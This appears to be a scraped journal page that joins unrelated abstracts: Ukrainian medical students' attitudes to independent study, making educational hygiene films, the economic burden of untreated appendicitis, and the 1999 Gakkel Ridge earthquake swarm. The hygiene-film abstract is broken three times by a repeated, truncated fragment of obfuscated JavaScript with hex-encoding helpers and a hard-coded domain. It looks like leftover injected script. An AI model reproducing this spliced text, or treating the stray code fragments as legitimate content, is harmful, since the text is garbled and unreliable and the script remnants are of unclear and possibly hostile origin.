АНАЛІЗ ВІДНОШЕННЯ СТУДЕНТІВ ВИЩОГО МЕДИЧНОГО НАВЧАЛЬНОГО ЗАКЛАДУ ДО САМОСТІЙНОЇ РОБОТИ ЯК ВИДУ НАВЧАЛЬНОЇ ДІЯЛЬНОСТІ

The aim of the study – to investigate organization and higher medical educational institutions student’s attitude to independent work.The main body. The results of a survey among students of 3rd and 6th years of State Establishment “Dnipropetrovsk Medical Academy of Health Ministry of Ukraine”, citizens of Ukraine and foreigners, about their attitude to independent work during theoretical and practical courses study are represented in the article.Сonclusion. The results of the survey among students of 3rd and 6th years of higher medical educational institutions show the necessity of finding effective methods to enhance their responsibility for the result of education and the vast changes the passive ideology of education. It was shown that the majority of students (66,5 %) have negative attitude towards an independent search and acquisition of new professional knowledge, which necessitates the implementation of effective tools to enhance their responsibility for the outcome of their education and the vast changes of passive ideology of learning.Мета роботи – вивчення організації і відношення до самостійної роботи студентів медичного вищого навчального закладу.Основна частина. У статті наведено результати опитування серед студентів 3 та 6 курсів ДЗ “Дніпропетровська медична академія МОЗ України”, громадян України та іноземців, про їх відношення до самостійної роботи при вивченні теоретичних та практичних дисциплін.Висновки. Результати опитування серед студентів 3 та 6 курсів вищого медичного навчального закладу свідчать про необхідність пошуку ефективних засобів для підвищення їх відповідальності за кінцевий результат своєї освіти та зміни переважної пасивної ідеології навчання і відходу від споживчої парадигми при отриманні професійних знань. Показано, що більшість вітчизняних студентів (66,5 %) негативно ставляться до самостійного пошуку і здобуття нових професійних знань, що обумовлює необхідність впровадження ефективних засобів для підвищення їх відповідальності за кінцевий результат своєї освіти та зміни переважної пасивної ідеології навчання

ДОСВІД СТВОРЕННЯ ТА ВИКОРИСТАННЯ НАВЧАЛЬНИХ ФІЛЬМІВ ПРИ ВИКЛАДАННІ ГІГІЄНИ У ВИЩИХ МЕДИЧНИХ НАВЧАЛЬНИХ ЗАКЛАДАХ

The article was focused on the applying of the auxiliary visual video films during hygienic disciplines training in the higher medical institutions postgraduate departments in the conditions of shortening academic hours. The experience of Dnipropetrovsk Medical Academy Hygiene and Ecology Department could provide us recommendations towards educational video films new algorithm of creation. Specific practical recommendations were carried out for authors at the hygienic theme providing, scenario creation, organization of camera work activity, editing and sound of the educational videos.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ статті обговорюється питання дефіциту аудиторних годин для викладання гігієни на випускаючих кафедрах медичних ВНЗ та обґрунтовується доцільність використання допоміжних наочних посібників – відеофільмів. З власного досвіду кафедри гігієни та екології Дніпропетровської медичної академії пропонується алгоритм створення навчальної відеопродукції. Надаються конкретні практичні рекомендації для авторів при обранні теми, створенні сценарію, організації знімального процесу, монтажу та озвучування навчальних відеофільмів.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

Global economic burden of unmet surgical need for appendicitis

Background: There is a substantial gap in provision of adequate surgical care in many low-and middle-income countries. This study aimed to identify the economic burden of unmet surgical need for the common condition of appendicitis. Methods: Data on the incidence of appendicitis from 170 countries and two different approaches were used to estimate numbers of patients who do not receive surgery: as a fixed proportion of the total unmet surgical need per country (approach 1); and based on country income status (approach 2). Indirect costs with current levels of access and local quality, and those if quality were at the standards of high-income countries, were estimated. A human capital approach was applied, focusing on the economic burden resulting from premature death and absenteeism. Results: Excess mortality was 4185 per 100 000 cases of appendicitis using approach 1 and 3448 per 100 000 using approach 2. The economic burden of continuing current levels of access and local quality was US $92 492 million using approach 1 and$73 141 million using approach 2. The economic burden of not providing surgical care to the standards of high-income countries was $95 004 million using approach 1 and$75 666 million using approach 2. The largest share of these costs resulted from premature death (97.7 per cent) and lack of access (97.0 per cent) in contrast to lack of quality. Conclusion: For a comparatively non-complex emergency condition such as appendicitis, increasing access to care should be prioritized. Although improving quality of care should not be neglected, increasing provision of care at current standards could reduce societal costs substantially

Performance of localisation algorithms for teleseismic mid-ocean ridge earthquakes: The 1999 Gakkel ridge earthquake swarm and its geological interpretation

In 1999, an unusual earthquake swarm at the 85°E/85°N volcanic centre on the ultraslow spreading Gakkel Ridge, Arctic Ocean, was detected teleseismically. The swarm lasted over 9 months and counted 252 events with mb ≥ 3.1. It represents the strongest and largest ever recorded mid-ocean ridge earthquake swarm, and it occurred at a site where spreading rates are only about 10 mm yr–1. We relocated the earthquake swarm comparing the performance of three different localization algorithms: (1) the absolute least-squares routine HYPOSAT, (2) the absolute probabilistic routine NonLinLoc and (3) the relative least-squares routine Mlocate. The epicentres as calculated by each algorithm mostly did not agree within their error ellipses. Thus, the choice of location algorithm proved more critical than, for example, the choice of a local velocity model.We compiled a set of well-localized events which closely agree in at least two routines, mostly Mlocate and NonLinLoc. We conclude that the earthquake swarm of 1999 was related to a spreading episode and shows a complex interplay of tectonic and magmatic events. Our geological interpretation revealed three phases in swarm activity: In the first phase from January 17 up to February 1 fracturing of the crust took place, either as a result of or enabling magmatic intrusion. Seismicity in the second phase from February 2 to April 6 expanded along- and across axis. It showed signs of magmatic interaction, but a clear dyke migration pattern is absent. At the beginning of the third phase, a distinct break in the event rate suggested a change in the physical process, either an adjustment of the stress field to the new regime or a transition to an effusive stage